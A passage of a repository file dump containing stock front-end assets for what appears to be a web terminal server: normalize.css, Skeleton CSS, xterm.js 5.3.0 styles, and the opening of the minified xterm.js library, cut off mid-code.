-0.25em;\n}\n\n/* Embedded content\n   ========================================================================== */\n\n/**\n * Remove border when inside `a` element in IE 8/9/10.\n */\n\nimg {\n  border: 0;\n}\n\n/**\n * Correct overflow not hidden in IE 9/10/11.\n */\n\nsvg:not(:root) {\n  overflow: hidden;\n}\n\n/* Grouping content\n   ========================================================================== */\n\n/**\n * Address margin not present in IE 8/9 and Safari.\n */\n\nfigure {\n  margin: 1em 40px;\n}\n\n/**\n * Address differences between Firefox and other browsers.\n */\n\nhr {\n  -moz-box-sizing: content-box;\n  box-sizing: content-box;\n  height: 0;\n}\n\n/**\n * Contain overflow in all browsers.\n */\n\npre {\n  overflow: auto;\n}\n\n/**\n * Address odd `em`-unit font size rendering in all browsers.\n */\n\ncode,\nkbd,\npre,\nsamp {\n  font-family: monospace, monospace;\n  font-size: 1em;\n}\n\n/* Forms\n   ========================================================================== */\n\n/**\n * Known limitation: by default, Chrome and Safari on OS X allow very limited\n * styling of `select`, unless a `border` property is set.\n */\n\n/**\n * 1. Correct color not being inherited.\n *    Known issue: affects color of disabled elements.\n * 2. Correct font properties not being inherited.\n * 3. Address margins set differently in Firefox 4+, Safari, and Chrome.\n */\n\nbutton,\ninput,\noptgroup,\nselect,\ntextarea {\n  color: inherit; /* 1 */\n  font: inherit; /* 2 */\n  margin: 0; /* 3 */\n}\n\n/**\n * Address `overflow` set to `hidden` in IE 8/9/10/11.\n */\n\nbutton {\n  overflow: visible;\n}\n\n/**\n * Address inconsistent `text-transform` inheritance for `button` and `select`.\n * All other form control elements do not inherit `text-transform` values.\n * Correct `button` style inheritance in Firefox, IE 8/9/10/11, and Opera.\n * Correct `select` style inheritance in Firefox.\n */\n\nbutton,\nselect {\n  text-transform: none;\n}\n\n/**\n * 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio`\n *    and `video` controls.\n * 2. Correct inability to style clickable `input` types in iOS.\n * 3. Improve usability and consistency of cursor style between image-type\n *    `input` and others.\n */\n\nbutton,\nhtml input[type=\"button\"], /* 1 */\ninput[type=\"reset\"],\ninput[type=\"submit\"] {\n  -webkit-appearance: button; /* 2 */\n  cursor: pointer; /* 3 */\n}\n\n/**\n * Re-set default cursor for disabled elements.\n */\n\nbutton[disabled],\nhtml input[disabled] {\n  cursor: default;\n}\n\n/**\n * Remove inner padding and border in Firefox 4+.\n */\n\nbutton::-moz-focus-inner,\ninput::-moz-focus-inner {\n  border: 0;\n  padding: 0;\n}\n\n/**\n * Address Firefox 4+ setting `line-height` on `input` using `!important` in\n * the UA stylesheet.\n */\n\ninput {\n  line-height: normal;\n}\n\n/**\n * It's recommended that you don't attempt to style these elements.\n * Firefox's implementation doesn't respect box-sizing, padding, or width.\n *\n * 1. Address box sizing set to `content-box` in IE 8/9/10.\n * 2. Remove excess padding in IE 8/9/10.\n */\n\ninput[type=\"checkbox\"],\ninput[type=\"radio\"] {\n  box-sizing: border-box; /* 1 */\n  padding: 0; /* 2 */\n}\n\n/**\n * Fix the cursor style for Chrome's increment/decrement buttons. For certain\n * `font-size` values of the `input`, it causes the cursor style of the\n * decrement button to change from `default` to `text`.\n */\n\ninput[type=\"number\"]::-webkit-inner-spin-button,\ninput[type=\"number\"]::-webkit-outer-spin-button {\n  height: auto;\n}\n\n/**\n * 1. Address `appearance` set to `searchfield` in Safari and Chrome.\n * 2. Address `box-sizing` set to `border-box` in Safari and Chrome\n *    (include `-moz` to future-proof).\n */\n\ninput[type=\"search\"] {\n  -webkit-appearance: textfield; /* 1 */\n  -moz-box-sizing: content-box;\n  -webkit-box-sizing: content-box; /* 2 */\n  box-sizing: content-box;\n}\n\n/**\n * Remove inner padding and search cancel button in Safari and Chrome on OS X.\n * Safari (but not Chrome) clips the cancel button when the search input has\n * padding (and `textfield` appearance).\n */\n\ninput[type=\"search\"]::-webkit-search-cancel-button,\ninput[type=\"search\"]::-webkit-search-decoration {\n  -webkit-appearance: none;\n}\n\n/**\n * Define consistent border, margin, and padding.\n */\n\nfieldset {\n  border: 1px solid #c0c0c0;\n  margin: 0 2px;\n  padding: 0.35em 0.625em 0.75em;\n}\n\n/**\n * 1. Correct `color` not being inherited in IE 8/9/10/11.\n * 2. Remove padding so people aren't caught out if they zero out fieldsets.\n */\n\nlegend {\n  border: 0; /* 1 */\n  padding: 0; /* 2 */\n}\n\n/**\n * Remove default vertical scrollbar in IE 8/9/10/11.\n */\n\ntextarea {\n  overflow: auto;\n}\n\n/**\n * Don't inherit the `font-weight` (applied by a rule above).\n * NOTE: the default cannot safely be changed in Chrome and Safari on OS X.\n */\n\noptgroup {\n  font-weight: bold;\n}\n\n/* Tables\n   ========================================================================== */\n\n/**\n * Remove most spacing between table cells.\n */\n\ntable {\n  border-collapse: collapse;\n  border-spacing: 0;\n}\n\ntd,\nth {\n  padding: 0;\n}"
  },
  {
    "path": "server/static/css/skeleton.css",
    "content": "/*\n* Skeleton V2.0.4\n* Copyright 2014, Dave Gamache\n* www.getskeleton.com\n* Free to use under the MIT license.\n* http://www.opensource.org/licenses/mit-license.php\n* 12/29/2014\n*/\n\n\n/* Table of contents\n––––––––––––––––––––––––––––––––––––––––––––––––––\n- Grid\n- Base Styles\n- Typography\n- Links\n- Buttons\n- Forms\n- Lists\n- Code\n- Tables\n- Spacing\n- Utilities\n- Clearing\n- Media Queries\n*/\n\n\n/* Grid\n–––––––––––––––––––––––––––––––––––––––––––––––––– */\n.container {\n  position: relative;\n  width: 100%;\n  max-width: 960px;\n  margin: 0 auto;\n  padding: 0 20px;\n  box-sizing: border-box; }\n.column,\n.columns {\n  width: 100%;\n  float: left;\n  box-sizing: border-box; }\n\n/* For devices larger than 400px */\n@media (min-width: 400px) {\n  .container {\n    width: 85%;\n    padding: 0; }\n}\n\n/* For devices larger than 550px */\n@media (min-width: 550px) {\n  .container {\n    width: 80%; }\n  .column,\n  .columns {\n    margin-left: 4%; }\n  .column:first-child,\n  .columns:first-child {\n    margin-left: 0; }\n\n  .one.column,\n  .one.columns                    { width: 4.66666666667%; }\n  .two.columns                    { width: 13.3333333333%; }\n  .three.columns                  { width: 22%;            }\n  .four.columns                   { width: 30.6666666667%; }\n  .five.columns                   { width: 39.3333333333%; }\n  .six.columns                    { width: 48%;            }\n  .seven.columns                  { width: 56.6666666667%; }\n  .eight.columns                  { width: 65.3333333333%; }\n  .nine.columns                   { width: 74.0%;          }\n  .ten.columns                    { width: 82.6666666667%; }\n  .eleven.columns                 { width: 91.3333333333%; }\n  .twelve.columns                 { width: 100%; margin-left: 0; }\n\n  .one-third.column               { width: 30.6666666667%; }\n  .two-thirds.column              { width: 65.3333333333%; }\n\n  .one-half.column                { width: 48%; }\n\n  /* Offsets */\n  .offset-by-one.column,\n  .offset-by-one.columns          { margin-left: 8.66666666667%; }\n  .offset-by-two.column,\n  .offset-by-two.columns          { margin-left: 17.3333333333%; }\n  .offset-by-three.column,\n  .offset-by-three.columns        { margin-left: 26%;            }\n  .offset-by-four.column,\n  .offset-by-four.columns         { margin-left: 34.6666666667%; }\n  .offset-by-five.column,\n  .offset-by-five.columns         { margin-left: 43.3333333333%; }\n  .offset-by-six.column,\n  .offset-by-six.columns          { margin-left: 52%;            }\n  .offset-by-seven.column,\n  .offset-by-seven.columns        { margin-left: 60.6666666667%; }\n  .offset-by-eight.column,\n  .offset-by-eight.columns        { margin-left: 69.3333333333%; }\n  .offset-by-nine.column,\n  .offset-by-nine.columns         { margin-left: 78.0%;          }\n  .offset-by-ten.column,\n  .offset-by-ten.columns          { margin-left: 86.6666666667%; }\n  .offset-by-eleven.column,\n  .offset-by-eleven.columns       { margin-left: 95.3333333333%; }\n\n  .offset-by-one-third.column,\n  .offset-by-one-third.columns    { margin-left: 34.6666666667%; }\n  .offset-by-two-thirds.column,\n  .offset-by-two-thirds.columns   { margin-left: 69.3333333333%; }\n\n  .offset-by-one-half.column,\n  .offset-by-one-half.columns     { margin-left: 52%; }\n\n}\n\n\n/* Base Styles\n–––––––––––––––––––––––––––––––––––––––––––––––––– */\n/* NOTE\nhtml is set to 62.5% so that all the REM measurements throughout Skeleton\nare based on 10px sizing. So basically 1.5rem = 15px :) */\nhtml {\n  font-size: 62.5%; }\nbody {\n  font-size: 1.5em; /* currently ems cause chrome bug misinterpreting rems on body element */\n  line-height: 1.6;\n  font-weight: 400;\n  font-family: \"Raleway\", \"HelveticaNeue\", \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n  color: #222; }\n\n\n/* Typography\n–––––––––––––––––––––––––––––––––––––––––––––––––– */\nh1, h2, h3, h4, h5, h6 {\n  margin-top: 0;\n  margin-bottom: 2rem;\n  font-weight: 300; }\nh1 { font-size: 4.0rem; line-height: 1.2;  letter-spacing: -.1rem;}\nh2 { font-size: 3.6rem; line-height: 1.25; letter-spacing: -.1rem; }\nh3 { font-size: 3.0rem; line-height: 1.3;  letter-spacing: -.1rem; }\nh4 { font-size: 2.4rem; line-height: 1.35; letter-spacing: -.08rem; }\nh5 { font-size: 1.8rem; line-height: 1.5;  letter-spacing: -.05rem; }\nh6 { font-size: 1.5rem; line-height: 1.6;  letter-spacing: 0; }\n\n/* Larger than phablet */\n@media (min-width: 550px) {\n  h1 { font-size: 5.0rem; }\n  h2 { font-size: 4.2rem; }\n  h3 { font-size: 3.6rem; }\n  h4 { font-size: 3.0rem; }\n  h5 { font-size: 2.4rem; }\n  h6 { font-size: 1.5rem; }\n}\n\np {\n  margin-top: 0; }\n\n\n/* Links\n–––––––––––––––––––––––––––––––––––––––––––––––––– */\na {\n  color: #1EAEDB; }\na:hover {\n  color: #0FA0CE; }\n\n\n/* Buttons\n–––––––––––––––––––––––––––––––––––––––––––––––––– */\n.button,\nbutton,\ninput[type=\"submit\"],\ninput[type=\"reset\"],\ninput[type=\"button\"] {\n  display: inline-block;\n  height: 38px;\n  padding: 0 30px;\n  color: #555;\n  text-align: center;\n  font-size: 11px;\n  font-weight: 600;\n  line-height: 38px;\n  letter-spacing: .1rem;\n  text-transform: uppercase;\n  text-decoration: none;\n  white-space: nowrap;\n  background-color: transparent;\n  border-radius: 4px;\n  border: 1px solid #bbb;\n  cursor: pointer;\n  box-sizing: border-box; }\n.button:hover,\nbutton:hover,\ninput[type=\"submit\"]:hover,\ninput[type=\"reset\"]:hover,\ninput[type=\"button\"]:hover,\n.button:focus,\nbutton:focus,\ninput[type=\"submit\"]:focus,\ninput[type=\"reset\"]:focus,\ninput[type=\"button\"]:focus {\n  color: #333;\n  border-color: #888;\n  outline: 0; }\n.button.button-primary,\nbutton.button-primary,\ninput[type=\"submit\"].button-primary,\ninput[type=\"reset\"].button-primary,\ninput[type=\"button\"].button-primary {\n  color: #FFF;\n  background-color: #33C3F0;\n  border-color: #33C3F0; }\n.button.button-primary:hover,\nbutton.button-primary:hover,\ninput[type=\"submit\"].button-primary:hover,\ninput[type=\"reset\"].button-primary:hover,\ninput[type=\"button\"].button-primary:hover,\n.button.button-primary:focus,\nbutton.button-primary:focus,\ninput[type=\"submit\"].button-primary:focus,\ninput[type=\"reset\"].button-primary:focus,\ninput[type=\"button\"].button-primary:focus {\n  color: #FFF;\n  background-color: #1EAEDB;\n  border-color: #1EAEDB; }\n\n\n/* Forms\n–––––––––––––––––––––––––––––––––––––––––––––––––– */\ninput[type=\"email\"],\ninput[type=\"number\"],\ninput[type=\"search\"],\ninput[type=\"text\"],\ninput[type=\"tel\"],\ninput[type=\"url\"],\ninput[type=\"password\"],\ntextarea,\nselect {\n  height: 38px;\n  padding: 6px 10px; /* The 6px vertically centers text on FF, ignored by Webkit */\n  background-color: #fff;\n  border: 1px solid #D1D1D1;\n  border-radius: 4px;\n  box-shadow: none;\n  box-sizing: border-box; }\n/* Removes awkward default styles on some inputs for iOS */\ninput[type=\"email\"],\ninput[type=\"number\"],\ninput[type=\"search\"],\ninput[type=\"text\"],\ninput[type=\"tel\"],\ninput[type=\"url\"],\ninput[type=\"password\"],\ntextarea {\n  -webkit-appearance: none;\n     -moz-appearance: none;\n          appearance: none; }\ntextarea {\n  min-height: 65px;\n  padding-top: 6px;\n  padding-bottom: 6px; }\ninput[type=\"email\"]:focus,\ninput[type=\"number\"]:focus,\ninput[type=\"search\"]:focus,\ninput[type=\"text\"]:focus,\ninput[type=\"tel\"]:focus,\ninput[type=\"url\"]:focus,\ninput[type=\"password\"]:focus,\ntextarea:focus,\nselect:focus {\n  border: 1px solid #33C3F0;\n  outline: 0; }\nlabel,\nlegend {\n  display: block;\n  margin-bottom: .5rem;\n  font-weight: 600; }\nfieldset {\n  padding: 0;\n  border-width: 0; }\ninput[type=\"checkbox\"],\ninput[type=\"radio\"] {\n  display: inline; }\nlabel > .label-body {\n  display: inline-block;\n  margin-left: .5rem;\n  font-weight: normal; }\n\n\n/* Lists\n–––––––––––––––––––––––––––––––––––––––––––––––––– */\nul {\n  list-style: circle inside; }\nol {\n  list-style: decimal inside; }\nol, ul {\n  padding-left: 0;\n  margin-top: 0; }\nul ul,\nul ol,\nol ol,\nol ul {\n  margin: 1.5rem 0 1.5rem 3rem;\n  font-size: 90%; }\nli {\n  margin-bottom: 1rem; }\n\n\n/* Code\n–––––––––––––––––––––––––––––––––––––––––––––––––– */\ncode {\n  padding: .2rem .5rem;\n  margin: 0 .2rem;\n  font-size: 90%;\n  white-space: nowrap;\n  background: #F1F1F1;\n  border: 1px solid #E1E1E1;\n  border-radius: 4px; }\npre > code {\n  display: block;\n  padding: 1rem 1.5rem;\n  white-space: pre; }\n\n\n/* Tables\n–––––––––––––––––––––––––––––––––––––––––––––––––– */\nth,\ntd {\n  padding: 12px 15px;\n  text-align: left;\n  border-bottom: 1px solid #E1E1E1; }\nth:first-child,\ntd:first-child {\n  padding-left: 0; }\nth:last-child,\ntd:last-child {\n  padding-right: 0; }\n\n\n/* Spacing\n–––––––––––––––––––––––––––––––––––––––––––––––––– */\nbutton,\n.button {\n  margin-bottom: 1rem; }\ninput,\ntextarea,\nselect,\nfieldset {\n  margin-bottom: 1.5rem; }\npre,\nblockquote,\ndl,\nfigure,\ntable,\np,\nul,\nol,\nform {\n  margin-bottom: 2.5rem; }\n\n\n/* Utilities\n–––––––––––––––––––––––––––––––––––––––––––––––––– */\n.u-full-width {\n  width: 100%;\n  box-sizing: border-box; }\n.u-max-full-width {\n  max-width: 100%;\n  box-sizing: border-box; }\n.u-pull-right {\n  float: right; }\n.u-pull-left {\n  float: left; }\n\n\n/* Misc\n–––––––––––––––––––––––––––––––––––––––––––––––––– */\nhr {\n  margin-top: 3rem;\n  margin-bottom: 3.5rem;\n  border-width: 0;\n  border-top: 1px solid #E1E1E1; }\n\n\n/* Clearing\n–––––––––––––––––––––––––––––––––––––––––––––––––– */\n\n/* Self Clearing Goodness */\n.container:after,\n.row:after,\n.u-cf {\n  content: \"\";\n  display: table;\n  clear: both; }\n\n\n/* Media Queries\n–––––––––––––––––––––––––––––––––––––––––––––––––– */\n/*\nNote: The best way to structure the use of media queries is to create the queries\nnear the relevant code. For example, if you wanted to change the styles for buttons\non small devices, paste the mobile query code up in the buttons section and style it\nthere.\n*/\n\n\n/* Larger than mobile */\n@media (min-width: 400px) {}\n\n/* Larger than phablet (also point when grid becomes active) */\n@media (min-width: 550px) {}\n\n/* Larger than tablet */\n@media (min-width: 750px) {}\n\n/* Larger than desktop */\n@media (min-width: 1000px) {}\n\n/* Larger than Desktop HD */\n@media (min-width: 1200px) {}\n"
  },
  {
    "path": "server/static/css/xterm-5.3.0.css",
    "content": "/**\n * Copyright (c) 2014 The xterm.js authors. All rights reserved.\n * Copyright (c) 2012-2013, Christopher Jeffrey (MIT License)\n * https://github.com/chjj/term.js\n * @license MIT\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * Originally forked from (with the author's permission):\n *   Fabrice Bellard's javascript vt100 for jslinux:\n *   http://bellard.org/jslinux/\n *   Copyright (c) 2011 Fabrice Bellard\n *   The original design remains. The terminal itself\n *   has been extended to include xterm CSI codes, among\n *   other features.\n */\n\n/**\n *  Default styles for xterm.js\n */\n\n.xterm {\n    cursor: text;\n    position: relative;\n    user-select: none;\n    -ms-user-select: none;\n    -webkit-user-select: none;\n}\n\n.xterm.focus,\n.xterm:focus {\n    outline: none;\n}\n\n.xterm .xterm-helpers {\n    position: absolute;\n    top: 0;\n    /**\n     * The z-index of the helpers must be higher than the canvases in order for\n     * IMEs to appear on top.\n     */\n    z-index: 5;\n}\n\n.xterm .xterm-helper-textarea {\n    padding: 0;\n    border: 0;\n    margin: 0;\n    /* Move textarea out of the screen to the far left, so that the cursor is not visible */\n    position: absolute;\n    opacity: 0;\n    left: -9999em;\n    top: 0;\n    width: 0;\n    height: 0;\n    z-index: -5;\n    /** Prevent wrapping so the IME appears against the textarea at the correct position */\n    white-space: nowrap;\n    overflow: hidden;\n    resize: none;\n}\n\n.xterm .composition-view {\n    /* TODO: Composition position got messed up somewhere */\n    background: #000;\n    color: #FFF;\n    display: none;\n    position: absolute;\n    white-space: nowrap;\n    z-index: 1;\n}\n\n.xterm .composition-view.active {\n    display: block;\n}\n\n.xterm .xterm-viewport {\n    /* On OS X this is required in order for the scroll bar to appear fully opaque */\n    background-color: #000;\n    overflow-y: scroll;\n    cursor: default;\n    position: absolute;\n    right: 0;\n    left: 0;\n    top: 0;\n    bottom: 0;\n}\n\n.xterm .xterm-screen {\n    position: relative;\n}\n\n.xterm .xterm-screen canvas {\n    position: absolute;\n    left: 0;\n    top: 0;\n}\n\n.xterm .xterm-scroll-area {\n    visibility: hidden;\n}\n\n.xterm-char-measure-element {\n    display: inline-block;\n    visibility: hidden;\n    position: absolute;\n    top: 0;\n    left: -9999em;\n    line-height: normal;\n}\n\n.xterm.enable-mouse-events {\n    /* When mouse events are enabled (eg. tmux), revert to the standard pointer cursor */\n    cursor: default;\n}\n\n.xterm.xterm-cursor-pointer,\n.xterm .xterm-cursor-pointer {\n    cursor: pointer;\n}\n\n.xterm.column-select.focus {\n    /* Column selection mode */\n    cursor: crosshair;\n}\n\n.xterm .xterm-accessibility,\n.xterm .xterm-message {\n    position: absolute;\n    left: 0;\n    top: 0;\n    bottom: 0;\n    right: 0;\n    z-index: 10;\n    color: transparent;\n    pointer-events: none;\n}\n\n.xterm .live-region {\n    position: absolute;\n    left: -9999px;\n    width: 1px;\n    height: 1px;\n    overflow: hidden;\n}\n\n.xterm-dim {\n    /* Dim should not apply to background, so the opacity of the foreground color is applied\n     * explicitly in the generated class and reset to 1 here */\n    opacity: 1 !important;\n}\n\n.xterm-underline-1 { text-decoration: underline; }\n.xterm-underline-2 { text-decoration: double underline; }\n.xterm-underline-3 { text-decoration: wavy underline; }\n.xterm-underline-4 { text-decoration: dotted underline; }\n.xterm-underline-5 { text-decoration: dashed underline; }\n\n.xterm-overline {\n    text-decoration: overline;\n}\n\n.xterm-overline.xterm-underline-1 { text-decoration: overline underline; }\n.xterm-overline.xterm-underline-2 { text-decoration: overline double underline; }\n.xterm-overline.xterm-underline-3 { text-decoration: overline wavy underline; }\n.xterm-overline.xterm-underline-4 { text-decoration: overline dotted underline; }\n.xterm-overline.xterm-underline-5 { text-decoration: overline dashed underline; }\n\n.xterm-strikethrough {\n    text-decoration: line-through;\n}\n\n.xterm-screen .xterm-decoration-container .xterm-decoration {\n\tz-index: 6;\n\tposition: absolute;\n}\n\n.xterm-screen .xterm-decoration-container .xterm-decoration.xterm-decoration-top-layer {\n\tz-index: 7;\n}\n\n.xterm-decoration-overview-ruler {\n    z-index: 8;\n    position: absolute;\n    top: 0;\n    right: 0;\n    pointer-events: none;\n}\n\n.xterm-decoration-top {\n    z-index: 2;\n    position: relative;\n}\n"
  },
  {
    "path": "server/static/js/xterm-5.3.0.js",
    "content": "!function(e,t){if(\"object\"==typeof exports&&\"object\"==typeof module)module.exports=t();else if(\"function\"==typeof define&&define.amd)define([],t);else{var i=t();for(var s in i)(\"object\"==typeof exports?exports:e)[s]=i[s]}}(self,(()=>(()=>{\"use strict\";var e={4567:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if(\"object\"==typeof Reflect&&\"function\"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,\"__esModule\",{value:!0}),t.AccessibilityManager=void 0;const n=i(9042),o=i(6114),a=i(9924),h=i(844),c=i(5596),l=i(4725),d=i(3656);let _=t.AccessibilityManager=class extends h.Disposable{constructor(e,t){super(),this._terminal=e,this._renderService=t,this._liveRegionLineCount=0,this._charsToConsume=[],this._charsToAnnounce=\"\",this._accessibilityContainer=document.createElement(\"div\"),this._accessibilityContainer.classList.add(\"xterm-accessibility\"),this._rowContainer=document.createElement(\"div\"),this._rowContainer.setAttribute(\"role\",\"list\"),this._rowContainer.classList.add(\"xterm-accessibility-tree\"),this._rowElements=[];for(let e=0;e<this._terminal.rows;e++)this._rowElements[e]=this._createAccessibilityTreeNode(),this._rowContainer.appendChild(this._rowElements[e]);if(this._topBoundaryFocusListener=e=>this._handleBoundaryFocus(e,0),this._bottomBoundaryFocusListener=e=>this._handleBoundaryFocus(e,1),this._rowElements[0].addEventListener(\"focus\",this._topBoundaryFocusListener),this._rowElements[this._rowElements.length-1].addEventListener(\"focus\",this._bottomBoundaryFocusListener),this._refreshRowsDimensions(),this._accessibilityContainer.appendChild(this._rowContainer),this._liveRegion=document.createElement(\"div\"),this._liveRegion.classList.add(\"live-region\"),this._liveRegion.setAttribute(\"aria-live\",\"assertive\"),this._accessibilityContainer.appendChild(this._liveRegion),this._liveRegionDebouncer=this.register(new a.TimeBasedDebouncer(this._renderRows.bind(this))),!this._terminal.element)throw new Error(\"Cannot enable accessibility before Terminal.open\");this._terminal.element.insertAdjacentElement(\"afterbegin\",this._accessibilityContainer),this.register(this._terminal.onResize((e=>this._handleResize(e.rows)))),this.register(this._terminal.onRender((e=>this._refreshRows(e.start,e.end)))),this.register(this._terminal.onScroll((()=>this._refreshRows()))),this.register(this._terminal.onA11yChar((e=>this._handleChar(e)))),this.register(this._terminal.onLineFeed((()=>this._handleChar(\"\\n\")))),this.register(this._terminal.onA11yTab((e=>this._handleTab(e)))),this.register(this._terminal.onKey((e=>this._handleKey(e.key)))),this.register(this._terminal.onBlur((()=>this._clearLiveRegion()))),this.register(this._renderService.onDimensionsChange((()=>this._refreshRowsDimensions()))),this._screenDprMonitor=new c.ScreenDprMonitor(window),this.register(this._screenDprMonitor),this._screenDprMonitor.setListener((()=>this._refreshRowsDimensions())),this.register((0,d.addDisposableDomListener)(window,\"resize\",(()=>this._refreshRowsDimensions()))),this._refreshRows(),this.register((0,h.toDisposable)((()=>{this._accessibilityContainer.remove(),this._rowElements.length=0})))}_handleTab(e){for(let t=0;t<e;t++)this._handleChar(\" \")}_handleChar(e){this._liveRegionLineCount<21&&(this._charsToConsume.length>0?this._charsToConsume.shift()!==e&&(this._charsToAnnounce+=e):this._charsToAnnounce+=e,\"\\n\"===e&&(this._liveRegionLineCount++,21===this._liveRegionLineCount&&(this._liveRegion.textContent+=n.tooMuchOutput)),o.isMac&&this._liveRegion.textContent&&this._liveRegion.textContent.length>0&&!this._liveRegion.parentNode&&setTimeout((()=>{this._accessibilityContainer.appendChild(this._liveRegion)}),0))}_clearLiveRegion(){this._liveRegion.textContent=\"\",this._liveRegionLineCount=0,o.isMac&&this._liveRegion.remove()}_handleKey(e){this._clearLiveRegion(),/\\p{Control}/u.test(e)||this._charsToConsume.push(e)}_refreshRows(e,t){this._liveRegionDebouncer.refresh(e,t,this._terminal.rows)}_renderRows(e,t){const i=this._terminal.buffer,s=i.lines.length.toString();for(let r=e;r<=t;r++){const e=i.translateBufferLineToString(i.ydisp+r,!0),t=(i.ydisp+r+1).toString(),n=this._rowElements[r];n&&(0===e.length?n.innerText=\" \":n.textContent=e,n.setAttribute(\"aria-posinset\",t),n.setAttribute(\"aria-setsize\",s))}this._announceCharacters()}_announceCharacters(){0!==this._charsToAnnounce.length&&(this._liveRegion.textContent+=this._charsToAnnounce,this._charsToAnnounce=\"\")}_handleBoundaryFocus(e,t){const i=e.target,s=this._rowElements[0===t?1:this._rowElements.length-2];if(i.getAttribute(\"aria-posinset\")===(0===t?\"1\":`${this._terminal.buffer.lines.length}`))return;if(e.relatedTarget!==s)return;let r,n;if(0===t?(r=i,n=this._rowElements.pop(),this._rowContainer.removeChild(n)):(r=this._rowElements.shift(),n=i,this._rowContainer.removeChild(r)),r.removeEventListener(\"focus\",this._topBoundaryFocusListener),n.removeEventListener(\"focus\",this._bottomBoundaryFocusListener),0===t){const e=this._createAccessibilityTreeNode();this._rowElements.unshift(e),this._rowContainer.insertAdjacentElement(\"afterbegin\",e)}else{const e=this._createAccessibilityTreeNode();this._rowElements.push(e),this._rowContainer.appendChild(e)}this._rowElements[0].addEventListener(\"focus\",this._topBoundaryFocusListener),this._rowElements[this._rowElements.length-1].addEventListener(\"focus\",this._bottomBoundaryFocusListener),this._terminal.scrollLines(0===t?-1:1),this._rowElements[0===t?1:this._rowElements.length-2].focus(),e.preventDefault(),e.stopImmediatePropagation()}_handleResize(e){this._rowElements[this._rowElements.length-1].removeEventListener(\"focus\",this._bottomBoundaryFocusListener);for(let e=this._rowContainer.children.length;e<this._terminal.rows;e++)this._rowElements[e]=this._createAccessibilityTreeNode(),this._rowContainer.appendChild(this._rowElements[e]);for(;this._rowElements.length>e;)this._rowContainer.removeChild(this._rowElements.pop());this._rowElements[this._rowElements.length-1].addEventListener(\"focus\",this._bottomBoundaryFocusListener),this._refreshRowsDimensions()}_createAccessibilityTreeNode(){const e=document.createElement(\"div\");return e.setAttribute(\"role\",\"listitem\"),e.tabIndex=-1,this._refreshRowDimensions(e),e}_refreshRowsDimensions(){if(this._renderService.dimensions.css.cell.height){this._accessibilityContainer.style.width=`${this._renderService.dimensions.css.canvas.width}px`,this._rowElements.length!==this._terminal.rows&&this._handleResize(this._terminal.rows);for(let e=0;e<this._terminal.rows;e++)this._refreshRowDimensions(this._rowElements[e])}}_refreshRowDimensions(e){e.style.height=`${this._renderService.dimensions.css.cell.height}px`}};t.AccessibilityManager=_=s([r(1,l.IRenderService)],_)},3614:(e,t)=>{function i(e){return e.replace(/\\r?\\n/g,\"\\r\")}function s(e,t){return t?\"\u001b[200~\"+e+\"\u001b[201~\":e}function r(e,t,r,n){e=s(e=i(e),r.decPrivateModes.bracketedPasteMode&&!0!==n.rawOptions.ignoreBracketedPasteMode),r.triggerDataEvent(e,!0),t.value=\"\"}function n(e,t,i){const s=i.getBoundingClientRect(),r=e.clientX-s.left-10,n=e.clientY-s.top-10;t.style.width=\"20px\",t.style.height=\"20px\",t.style.left=`${r}px`,t.style.top=`${n}px`,t.style.zIndex=\"1000\",t.focus()}Object.defineProperty(t,\"__esModule\",{value:!0}),t.rightClickHandler=t.moveTextAreaUnderMouseCursor=t.paste=t.handlePasteEvent=t.copyHandler=t.bracketTextForPaste=t.prepareTextForTerminal=void 0,t.prepareTextForTerminal=i,t.bracketTextForPaste=s,t.copyHandler=function(e,t){e.clipboardData&&e.clipboardData.setData(\"text/plain\",t.selectionText),e.preventDefault()},t.handlePasteEvent=function(e,t,i,s){e.stopPropagation(),e.clipboardData&&r(e.clipboardData.getData(\"text/plain\"),t,i,s)},t.paste=r,t.moveTextAreaUnderMouseCursor=n,t.rightClickHandler=function(e,t,i,s,r){n(e,t,i),r&&s.rightClickSelect(e),t.value=s.selectionText,t.select()}},7239:(e,t,i)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.ColorContrastCache=void 0;const s=i(1505);t.ColorContrastCache=class{constructor(){this._color=new s.TwoKeyMap,this._css=new s.TwoKeyMap}setCss(e,t,i){this._css.set(e,t,i)}getCss(e,t){return this._css.get(e,t)}setColor(e,t,i){this._color.set(e,t,i)}getColor(e,t){return this._color.get(e,t)}clear(){this._color.clear(),this._css.clear()}}},3656:(e,t)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.addDisposableDomListener=void 0,t.addDisposableDomListener=function(e,t,i,s){e.addEventListener(t,i,s);let r=!1;return{dispose:()=>{r||(r=!0,e.removeEventListener(t,i,s))}}}},6465:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if(\"object\"==typeof Reflect&&\"function\"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return 